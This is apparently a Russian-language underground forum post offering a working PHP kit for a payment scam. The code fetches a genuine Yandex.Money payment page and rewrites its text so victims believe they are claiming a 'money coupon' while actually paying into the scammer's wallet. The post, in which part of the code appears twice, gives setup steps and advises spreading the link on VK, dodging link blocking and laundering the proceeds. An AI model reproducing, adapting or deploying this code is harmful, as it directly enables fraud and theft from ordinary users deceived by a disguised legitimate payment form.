Купоны Яндекс.
TM PRIVATE CLUBВсем привет.
Все уже видели тему с дефейсом страницы получения платежа Яндекс.Деньги? Там создают вот такие странички, под вид купона.
Есть у них одна огромная проблема - нужно каждый час обновлять код на хостинге, иначе оплата не пройдет, потому что устарел токен. Как я догадываюсь, если по одному токену уже оплатили, то второй платеж не пройдет, и мы не узнаем об этом и будем максимум получать 1 оплату в 60 минут.
Теперь этого делать не нужно. Я написал очень простой код, который автоматически (при каждом запросе страницы) получает корректную страничку оплаты и меняет тексты на те, что вы укажете. Получится такая страничка, как на скриншоте ваше.
Код страницы генерации купона:
Код:
<?php $wallet = "НОМЕР ЯНДЕКС-КОШЕЛЬКА"; $sum = "1000"; $backurl = ""; $data = file_get_contents('https://money.yandex.ru/quickpay/cps-preparation.xml?receiver='.$wallet.'&sum='.$sum.'&quickpay-back-url='.$backurl.'&successURL=&shop-host=&form-comment=&short-dest=&quickpay-form=small&paymentType=AC&targets=qwerty&label=&comment='); $array = array( "Перевод пользователю Яндекс.Денег" => "Денежный купон на сумму " . $sum . " рублей", "Счет получателя \(перевод физическому лицу\)" => "Назначение", "Вы отправляете перевод физическому лицу — на электронный кошелек в Яндекс.Деньгах." => "Денежный купон от физического лица — на карту любого банка РФ.", "Назначение платежа" => "Вид купона", "Максимальные.*месяц." => "<b>ВНИМАНИЕ!</b><br><br>Вам будет выслано СМС-сообщение с кодом подтверждения, для списания средств с сервиса YANDEX.MONEY c последующим переводом на Вашу карту средств в размере " . $sum . " рублей.<br><br><b>Никому не сообщайте полученный код!</b>", "qwerty" => "Денежный купон", "Заплатить" => "Получить купон", "Данные карты" => "Данные купона", $wallet => "Перевод средств на банковскую карту", "https:\/\/money.yandex.ru\/\/i\/logo_cards_small.png" => "/i/logo_cards_small.png" ); foreach ($array as $i => $value) { $pattern = '/'.$i.'/i'; $replacement = $value; $data = preg_replace($pattern, $replacement, $data); } echo $data; "Перевод пользователю Яндекс.Денег" => "Денежный купон на сумму " . $sum . " рублей", "Счет получателя \(перевод физическому лицу\)" => "Назначение", "Вы отправляете перевод физическому лицу — на электронный кошелек в Яндекс.Деньгах." => "Денежный купон от физического лица — на карту любого банка РФ.", "Назначение платежа" => "Вид купона", "Максимальные.*месяц." => "<b>ВНИМАНИЕ!</b><br><br>Вам будет выслано СМС-сообщение с кодом подтверждения, для списания средств с сервиса YANDEX.MONEY c последующим переводом на Вашу карту средств в размере " . $sum . " рублей.<br><br><b>Никому не сообщайте полученный код!</b>", "qwerty" => "Денежный купон", "Заплатить" => "Получить купон", "Данные карты" => "Данные купона", $wallet => "Перевод средств на банковскую карту", "https:\/\/money.yandex.ru\/\/i\/logo_cards_small.png" => "/i/logo_cards_small.png" ); foreach ($array as $i => $value) { $pattern = '/'.$i.'/i'; $replacement = $value; $data = preg_replace($pattern, $replacement, $data); } echo $data;
Редактируем файл index.php:
Вместо НОМЕР ЯНДЕКС-КОШЕЛЬКА вставляем, соответственно, номер кошелька (он выглядит как 410011738561668).
Чуть ниже поле $sum = "1000"; - это сумма купона, меняем при необходимости.
Еще ниже $backurl = ""; - это ссылка, на которую попадет жертва после получения купона (ну мы же понимаем, что деньги получаем мы, а не они). Если нужно - вставляем.
На этом все. Заливаем на хостинг, привязываем домен, распространяем, отмываем.
Скидываю архив, в котором дополнительные ресурсы (картинки, стили).
Если собираемся распространять в ВК, то регистрируем либо платный хостинг, либо бесплатный (подойдет любой с поддержкой PHP, сейчас такие все, насколько я знаю), но чтобы ссылка не блокировалась, ищем мануал в гугле по запросу "ссылка вк блогспот редирект".
Модернизация
Можно строки
Код:
$wallet = "НОМЕР ЯНДЕКС-КОШЕЛЬКА"; $sum = "1000";
Заменить на
Код:
$wallet = $_GET("wallet"); $sum = $_GET("sum");
Код кошелька и сумма будут браться из ссылки:
http://нашсайт.ру/?w...561668&sum=1000
P.S. Этот генератор купонов можно использовать в разных целях. Например поменять все тексты и получится своя система оплаты. Можно сверстать/найти рулетку, а купон это будет выигрыш победителя. Код очень простой и там все должно быть понятно.